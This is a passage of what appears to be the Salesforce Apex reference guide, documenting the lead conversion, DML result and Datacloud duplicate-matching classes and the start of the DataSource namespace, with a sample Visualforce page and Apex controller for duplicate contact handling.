Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).

Signature
public Boolean isSendNotificationEmail()

Return Value
Type: Boolean

setAccountId(accountId)
Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including
person accounts. Otherwise, if setAccountId is specified, a new account is created.

Signature
public Void setAccountId(ID accountId)

Parameters
accountId

Type: ID

Return Value
Type: Void

setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.

Signature
public Void setContactId(ID contactId)

Parameters
contactId

Type: ID

Return Value
Type: Void

1517

Reference

LeadConvert Class

Usage
If setContactId is specified, then the application creates a new contact that is implicitly associated with the account. The contact
name and other existing data are not overwritten (unless setOverwriteLeadSource is set to true, in which case only the
LeadSource field is overwritten).
Important: If you are converting a lead into a person account, do not specify setContactId or an error will result. Specify
only setAccountId of the person account.

setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.

Signature
public Void setConvertedStatus(String status)

Parameters
status

Type: String

Return Value
Type: Void

setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.

Signature
public Void setDoNotCreateOpportunity(Boolean createOpportunity)

Parameters
createOpportunity

Type: Boolean

Return Value
Type: Void

setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.

Signature
public Void setLeadId(ID leadId)

1518

Reference

LeadConvert Class

Parameters
leadId

Type: ID

Return Value
Type: Void

setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.

Signature
public Void setOpportunityName(String opportunityName)

Parameters
opportunityName

Type: String

Return Value
Type: Void

Usage
The maximum length of this field is 80 characters.
If setDoNotCreateOpportunity is true, no Opportunity is created and this field must be left blank; otherwise, an error is
returned.

setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in
the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.

Signature
public Void setOverwriteLeadSource(Boolean overwriteLeadSource)

Parameters
overwriteLeadSource

Type: Boolean

Return Value
Type: Void

1519

Reference

LeadConvertResult Class

Signature
public Void setOwnerId(ID ownerId)

Parameters
ownerId

Type: ID

Return Value
Type: Void

Usage
This method is not applicable when merging with existing objectsif setOwnerId is specified, the ownerId field is not overwritten
in an existing account or contact.

setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.

Signature
public Void setSendNotificationEmail(Boolean sendEmail)

Parameters
sendEmail

Type: Boolean

Return Value
Type: Void

LeadConvertResult Class
The result of a lead conversion.

Namespace
Database

1520

Reference

LeadConvertResult Class

Usage
An array of LeadConvertResult objects is returned with the convertLead Database method. Each element in the LeadConvertResult
array corresponds to the sObject array passed as the SObject[] parameter in the convertLead Database method, that is, the
first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds to
the second element, and so on. If only one sObject is passed in, the LeadConvertResult array contains a single element.

LeadConvertResult Methods
The following are methods for LeadConvertResult. All are instance methods.
IN THIS SECTION:
getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.
getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.
getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.
getLeadId()
The ID of the converted lead.
getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise

getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.

Signature
public ID getAccountId()

Return Value
Type: ID

getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.

Signature
public ID getContactId()

1521

Reference

LeadConvertResult Class

Return Value
Type: ID

getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getLeadId()
The ID of the converted lead.

Signature
public ID getLeadId()

Return Value
Type: ID

getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.

Signature
public ID getOpportunityId()

Return Value
Type: ID

isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

1522

Reference

MergeResult Class

MergeResult Class
Contains the result of a merge Database method operation.

Namespace
Database

Usage
The Database.merge method returns a Database.MergeResult object for each merged record.

MergeResult Methods
The following are methods for MergeResult. All are instance methods.
IN THIS SECTION:
getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.
getId()
Returns the ID of the master record into which other records were merged.
getMergedRecordIds()
Returns the IDs of the records merged into the master record.
getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge
call.
isSuccess()
Indicates whether the merge was successful (true) or not (false).

getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

getId()
Returns the ID of the master record into which other records were merged.

1523

Reference

QueryLocator Class

Signature
public Id getId()

Return Value
Type: ID

getMergedRecordIds()
Returns the IDs of the records merged into the master record.

Signature
public List<String> getMergedRecordIds()

Return Value
Type: List<String>

getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.

Signature
public List<String> getUpdatedRelatedIds()

Return Value
Type: List<String>

isSuccess()
Indicates whether the merge was successful (true) or not (false).

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.

Namespace
Database

1524

Reference

QueryLocator Class

QueryLocator Methods
The following are methods for QueryLocator. All are instance methods.
IN THIS SECTION:
getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.
iterator()
Returns a new instance of a query locator iterator.

getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.

Signature
public String getQuery()

Return Value
Type: String

Usage
You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically
locks the set of records in the batch.

Example
System.assertEquals(QLReturnedFromStart.
getQuery(),
Database.getQueryLocator([SELECT Id
FROM Account]).getQuery() );

iterator()
Returns a new instance of a query locator iterator.

Signature
public Database.QueryLocatorIterator iterator()

Return Value
Type: Database.QueryLocatorIterator

1525

Reference

QueryLocatorIterator Class

Usage
Warning: To iterate over a query locator, save the iterator instance that this method returns in a variable and then use this variable
to iterate over the collection. Calling iterator every time you want to perform an iteration can result in incorrect behavior
because each call returns a new iterator instance.
For an example, see QueryLocatorIterator Class.

QueryLocatorIterator Class
Represents an iterator over a query locator record set.

Namespace
Database

Example
This sample shows how to obtain an iterator for a query locator, which contains five accounts. This sample calls hasNext and next
to get each record in the collection.
// Get a query locator
Database.QueryLocator q = Database.getQueryLocator(
[SELECT Name FROM Account LIMIT 5]);
// Get an iterator
Database.QueryLocatorIterator it = q.iterator();
// Iterate over the records
while (it.hasNext())
{
Account a = (Account)it.next();
System.debug(a);
}

QueryLocatorIterator Methods
The following are methods for QueryLocatorIterator. All are instance methods.
IN THIS SECTION:
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.
next()
Advances the iterator to the next sObject record and returns the sObject.

hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.

1526

Reference

SaveResult Class

Signature
public Boolean hasNext()

Return Value
Type: Boolean

next()
Advances the iterator to the next sObject record and returns the sObject.

Signature
public sObject next()

Return Value
Type: sObject

Usage
Because the return value is the generic sObject type, you must cast it if using a more specific type. For example:
Account a = (Account)myIterator.next();

Example
Account a = (Account)myIterator.next();

SaveResult Class
The result of an insert or update DML operation returned by a Database method.

Namespace
Database

Usage
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array
corresponds to the sObject array passed as the sObject[] parameter in the Database method, that is, the first element in the
SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and
so on. If only one sObject is passed in, the SaveResult array contains a single element.
A SaveResult object is generated when a new or existing Salesforce record is saved.

1527

Reference

SaveResult Class

Example
The following example shows how to obtain and iterate through the returned Database.SaveResult objects. It inserts two
accounts using Database.insert with a false second parameter to allow partial processing of records on failure. One of the
accounts is missing the Name required field, which causes a failure. Next, it iterates through the results to determine whether the
operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error
messages and fields of the failed records. This example generates one successful operation and one failure.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}

SEE ALSO:
Error Class
DuplicateError Class

SaveResult Methods
The following are methods for SaveResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to insert or update.
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.

1528

Reference

SaveResult Class

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to insert or update.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for
that object.

isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Example
This example shows the code used to process duplicate records, which are detected when there is an unsuccessful save due to an error.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1534 to check out the entire sample applicaton.
if (!saveResult.isSuccess()) { ... }

1529

Reference

UndeleteResult Class

UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.

Namespace
Database

Usage
An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the undelete Database method; that is, the first
element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the
second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.

UndeleteResult Methods
The following are methods for UndeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns null.
getId()
Returns the ID of the sObject you were trying to undelete.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns null.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to undelete.

Signature
public ID getId()

1530

Reference

UpsertResult Class

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.

isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.

Namespace
Database

Usage
An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult array
corresponds to the sObject array passed as the sObject[] parameter in the upsert Database method; that is, the first element
in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element,
and so on. If only one sObject is passed in, the UpsertResults array contains a single element.

UpsertResult Methods
The following are methods for UpsertResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to update or insert.
isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.

1531

Reference

UpsertResult Class

isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error []

getId()
Returns the ID of the sObject you were trying to update or insert.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for
that object.

isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.

Signature
public Boolean isCreated()

Return Value
Type: Boolean

isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

1532

Reference

Datacloud Namespace

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Datacloud Namespace
The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let you
control whether and when users can save duplicate records within Salesforce.
The following are the classes in the Datacloud namespace.
IN THIS SECTION:
AdditionalInformationMap Class
Represents other information, if any, about matched records.
DuplicateResult Class
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
MatchRecord Class
Represents a duplicate record detected by a matching rule.
MatchResult Class
Represents the duplicate results for a matching rule.

AdditionalInformationMap Class
Represents other information, if any, about matched records.

Namespace
Datacloud
IN THIS SECTION:
AdditionalInformationMap Methods

AdditionalInformationMap Methods
The following are methods for AdditionalInformationMap.
IN THIS SECTION:
getName()
Returns the element name.

1533

Reference

DuplicateResult Class

getValue()
Returns the value of the element.

getName()
Returns the element name.

Signature
public String getName()

Return Value
Type: String

getValue()
Returns the value of the element.

Signature
public String getValue()

Return Value
Type: String

DuplicateResult Class
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.

Namespace
Datacloud

Usage
The DuplicateResult class and its methods are available to organizations that use duplicate rules.
DuplicateResult is contained within DuplicateError, which is part of SaveResult. SaveResult is generated when

a user attempts to save a record in Salesforce.

Example
This example shows a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate
records.

1534

Reference

DuplicateResult Class

The sample application consists of a Visualforce page and an Apex controller. The Visualforce page is listed first so that you can see how
the page makes use of the Apex controller. Save the Apex class first before saving the Visualforce page.
<apex:page controller="ContactDedupeController">
<apex:form >
<apex:pageBlock title="Duplicate Records" rendered="{!hasDuplicateResult}">
<apex:pageMessages />
<apex:pageBlockTable value="{!duplicateRecords}" var="item">
<apex:column >
<apex:facet name="header">Name</apex:facet>
<apex:outputLink value="/{!item['Id']}">{!item['Name']}</apex:outputLink>
</apex:column>
<apex:column >
<apex:facet name="header">Owner</apex:facet>
<apex:outputField value="{!item['OwnerId']}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Last Modified Date</apex:facet>
<apex:outputField value="{!item['LastModifiedDate']}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
<apex:pageBlock title="Contact" mode="edit">
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockSection >
<apex:inputField value="{!Contact.FirstName}"/>
<apex:inputField value="{!Contact.LastName}"/>
<apex:inputField value="{!Contact.Email}"/>
<apex:inputField value="{!Contact.Phone}"/>
<apex:inputField value="{!Contact.AccountId}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>

This sample is the Apex controller for the page. This controller contains the action method for the Save button. The save method
inserts the new contact. If errors are returned, this method iterates through each error, checks if its a duplicate error, adds the error
message to the page, and returns information about the duplicate records to be displayed on the page.
public class ContactDedupeController {
// Initialize a variable to hold the contact record you're processing
private final Contact contact;
// Initialize a list to hold any duplicate records
private List<sObject> duplicateRecords;
// Define variable thats true if there are duplicate records
public boolean hasDuplicateResult{get;set;}

1535

Reference

DuplicateResult Class

// Define the constructor

public ContactDedupeController() {
// Define the values for the contact youre processing based on its ID
Id id = ApexPages.currentPage().getParameters().get('id');
this.contact = (id == null) ? new Contact() :
[SELECT Id, FirstName, LastName, Email, Phone, AccountId
FROM Contact WHERE Id = :id];
// Initialize empty list of potential duplicate records
this.duplicateRecords = new List<sObject>();
this.hasDuplicateResult = false;
}
// Return contact and its values to the Visualforce page for display
public Contact getContact() {
return this.contact;
}
// Return duplicate records to the Visualforce page for display
public List<sObject> getDuplicateRecords() {
return this.duplicateRecords;
}
// Process the saved record and handle any duplicates
public PageReference save() {
// Optionally, set DML options here, use DML instead of false
//
in the insert()
// Database.DMLOptions dml = new Database.DMLOptions();
// dml.DuplicateRuleHeader.allowSave = true;
// dml.DuplicateRuleHeader.runAsCurrentUser = true;
Database.SaveResult saveResult = Database.insert(contact, false);
if (!saveResult.isSuccess()) {
for (Database.Error error : saveResult.getErrors()) {
// If there are duplicates, an error occurs
// Process only duplicates and not other errors
//
(e.g., validation errors)
if (error instanceof Database.DuplicateError) {
// Handle the duplicate error by first casting it as a
//
DuplicateError class
// This lets you use methods of that class
// (e.g., getDuplicateResult())
Database.DuplicateError duplicateError =
(Database.DuplicateError)error;
Datacloud.DuplicateResult duplicateResult =
duplicateError.getDuplicateResult();
// Display duplicate error message as defined in the duplicate rule
ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);

1536

Reference

DuplicateResult Class

// Get duplicate records

this.duplicateRecords = new List<sObject>();
// Return only match results of matching rules that
// find duplicate records
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();
// Just grab first match result (which contains the
//
duplicate record found and other match info)
Datacloud.MatchResult matchResult = matchResults[0];
Datacloud.MatchRecord[] matchRecords = matchResult.getMatchRecords();

// Add matched record to the duplicate records variable

for (Datacloud.MatchRecord matchRecord : matchRecords) {
System.debug('MatchRecord: ' + matchRecord.getRecord());
this.duplicateRecords.add(matchRecord.getRecord());
}
this.hasDuplicateResult = !this.duplicateRecords.isEmpty();
}
}
//If theres a duplicate record, stay on the page
return null;
}
// After save, navigate to the view page:
return (new ApexPages.StandardController(contact)).view();
}
}

IN THIS SECTION:
DuplicateResult Methods
SEE ALSO:
SaveResult Class
DuplicateError Class

DuplicateResult Methods
The following are methods for DuplicateResult.
IN THIS SECTION:
getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.

1537

Reference

DuplicateResult Class

getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.
getMatchResults()
Returns the duplicate records and match information.
isAllowSave()
Indicates whether the duplicate rule will allow a record thats identified as a duplicate to be saved. Set to true if duplicate rule
should allow save; otherwise, false.

getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.

Signature
public String getDuplicateRule()

Return Value
Type: String

getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.

Signature
public String getErrorMessage()

Return Value
Type: String

Example
This example shows the code used to display the error message when duplicates are found while saving a new contact. This code is part
of a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records. Review
DuplicateResult Class on page 1534 to check out the entire sample applicaton.
ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);

getMatchResults()
Returns the duplicate records and match information.

1538

Reference

FieldDiff Class

Signature
public List<Datacloud.MatchResult> getMatchResults()

Return Value
Type: List<Datacloud.MatchResult>

Example
This example shows the code used to return duplicate record and match information and assign it to the matchResults variable.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1534 to check out the entire sample applicaton.
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();

isAllowSave()
Indicates whether the duplicate rule will allow a record thats identified as a duplicate to be saved. Set to true if duplicate rule should
allow save; otherwise, false.

Signature
public Boolean isAllowSave()

Return Value
Type: Boolean

FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.

Namespace
Datacloud
IN THIS SECTION:
FieldDiff Methods

FieldDiff Methods
The following are methods for FieldDiff.
IN THIS SECTION:
getDifference()
Returns how the field values compare for the duplicate and its matching record.

1539

Reference

MatchRecord Class

getName()
Returns the name of a field on a matching rule that detected duplicates.

getDifference()
Returns how the field values compare for the duplicate and its matching record.

Signature
public String getDifference()

Return Value
Type: String
Possible values include:
SAME: Indicates the field values match exactly.
DIFFERENT: Indicates that the field values do not match.
NULL: Indicates that the field values are a match because both values are blank.

getName()
Returns the name of a field on a matching rule that detected duplicates.

Signature
public String getName()

Return Value
Type: String

MatchRecord Class
Represents a duplicate record detected by a matching rule.

Namespace
Datacloud
IN THIS SECTION:
MatchRecord Methods

MatchRecord Methods
The following are methods for MatchRecord.

1540

Reference

MatchRecord Class

IN THIS SECTION:
getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B
fields in the matched record.
getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
getMatchConfidence()
Returns the ranking of how similar a matched records data is to the data in your request. Must be equal to or greater than the value
of the minMatchConfidence specified in your request. Returns -1 if unused.
getRecord()
Returns the fields and field values for the duplicate.

getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields
in the matched record.

Signature
public List<Datacloud.AdditionalInformationMap> getAdditionalInformation()

Return Value
Type: List<Datacloud.AdditionalInformationMap>

getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.

Signature
public List<Datacloud.FieldDiff> getFieldDiffs()

Return Value
Type: List<Datacloud.FieldDiff>

getMatchConfidence()
Returns the ranking of how similar a matched records data is to the data in your request. Must be equal to or greater than the value of
the minMatchConfidence specified in your request. Returns -1 if unused.

Signature
public Double getMatchConfidence()

Return Value
Type: Double

1541

Reference

MatchResult Class

getRecord()
Returns the fields and field values for the duplicate.

Signature
public SObject getRecord()

Return Value
Type: SObject

MatchResult Class
Represents the duplicate results for a matching rule.

Namespace
Datacloud
IN THIS SECTION:
MatchResult Methods

MatchResult Methods
The following are methods for MatchResult.
IN THIS SECTION:
getEntityType()
Returns the entity type of the matching rule.
getErrors()
Returns errors that occurred during matching for the matching rule.
getMatchEngine()
Returns the match engine for the matching rule.
getMatchRecords()
Returns information about the duplicates for the matching rule.
getRule()
Returns the developer name of the matching rule.
getSize()
Returns the number of duplicates detected by the matching rule.
isSuccess()
Returns false if theres an error with the matching rule, and true if the matching rule successfully ran.

1542

Reference

MatchResult Class

getEntityType()
Returns the entity type of the matching rule.

Signature
public String getEntityType()

Return Value
Type: String

getErrors()
Returns errors that occurred during matching for the matching rule.

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

getMatchEngine()
Returns the match engine for the matching rule.

Signature
public String getMatchEngine()

Return Value
Type: String

getMatchRecords()
Returns information about the duplicates for the matching rule.

Signature
public List<Datacloud.MatchRecord> getMatchRecords()

Return Value
Type: List<Datacloud.MatchRecord>

getRule()
Returns the developer name of the matching rule.

1543

Reference

DataSource Namespace

Signature
public String getRule()

Return Value
Type: String

getSize()
Returns the number of duplicates detected by the matching rule.

Signature
public Integer getSize()

Return Value
Type: Integer

isSuccess()
Returns false if theres an error with the matching rule, and true if the matching rule successfully ran.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

DataSource Namespace
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce Connect
custom adapter.
The following are the classes in the DataSource namespace.
IN THIS SECTION:
AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote
deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete
operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.

1544

Reference

DataSource Namespace

AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this
class after the remote operation is completed. This class provides the compensating transaction in the completion context of the
insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes
execution.
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.
Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data
source definition.
Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.
ColumnSelection Class
Identifies the list of columns to return during a query or search.
Connection Class
Extend this class to enable your Salesforce org to sync the external systems schema and to handle queries, searches, and write
operations (upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.
ConnectionParams Class
Contains the credentials for authenticating to the external system.
DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.
DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.
DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The
class provides context information about the delete request to the implementor of deleteRows().
DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows
method of the DataSource.Connection class.
Filter Class
Represents a WHERE clause in a SOSL or SOQL query.
FilterType Enum
Referenced by the type property on a DataSource.Filter.
IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.
Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.
OrderDirection Enum
Specifies the direction for sorting rows based on column values.

1545

Reference

AsyncDeleteCallback Class

Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and
authentication capabilities that are supported by or required to connect to the external system. This class extends the
DataSourceUtil class and inherits its methods.
QueryAggregation Enum
Specifies how to aggregate a column in a query.
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.
QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
convenience during early development and tests, but it isnt supported for use in production environments.
ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.
SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.
SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.
Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
DataSourceUtil class and inherits its methods.
TableResult Class
Contains the results of a search or query.
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.
UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class.
This class provides context information about the upsert request to the implementor of upsertRows().
UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of
the DataSource.Connection class.
DataSource Exceptions
The DataSource namespace contains exception classes.

AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync
operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this
class to define the actions to execute after the remote delete operation finishes execution.

1546

Reference

AsyncSaveCallback Class

Namespace
DataSource
IN THIS SECTION:
AsyncDeleteCallback Methods

AsyncDeleteCallback Methods
The following are methods for AsyncDeleteCallback.
IN THIS SECTION:
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the
Salesforce org..

processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce
org..

Signature
public void processDelete(Database.DeleteResult deleteResult)

Parameters
deleteResult

Type: Database.DeleteResult
The result of the asynchronous delete operation.

Return Value
Type: void

Namespace
DataSource

1547

Reference

AuthenticationCapability Enum

IN THIS SECTION:
AsyncSaveCallback Methods

AsyncSaveCallback Methods
The following are methods for AsyncSaveCallback.
IN THIS SECTION:
processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.

processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.

Signature
public void processSave(Database.SaveResult saveResult)

Parameters
saveResult

Type: Database.SaveResult
The result of the asynchronous insert or update operation.

Return Value
Type: void

AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.

Usage
The DataSource.Provider class returns DataSource.AuthenticationCapability enum values. The returned
values determine which authentication settings are available on the external data source definition in Salesforce.
If you set up callouts in your DataSource.Connection class, you can specify the callout endpoints as named credentials instead
of URLs. If you do so for all callouts, return ANONYMOUS as the sole entry in the list of data source authentication capabilities. That way,
the external data source definition doesnt require authentication settings. Salesforce manages all authentication for Apex callouts that
specify a named credential as the callout endpoint so that your code doesnt have to.

1548

Reference

AuthenticationProtocol Enum

Enum Values
The following are the values of the DataSource.AuthenticationCapability enum.
Value

Description

ANONYMOUS

No credentials are required to authenticate to the external system.

BASIC

A username and password can be used to authenticate to the external system.

CERTIFICATE

A security certificate can be supplied when establishing each connection to the

external system.

OAUTH

OAuth can be used to authenticate to the external system.

AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.

Enum Values
The following are the values of the DataSource.AuthenticationProtocol enum.
Value

Description

NONE

No credentials are used to authenticate to the external system.

OAUTH

OAuth 2.0 is used to authenticate to the external system.

PASSWORD

A username and password are used to authenticate to the external system.

Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source
definition.

Usage
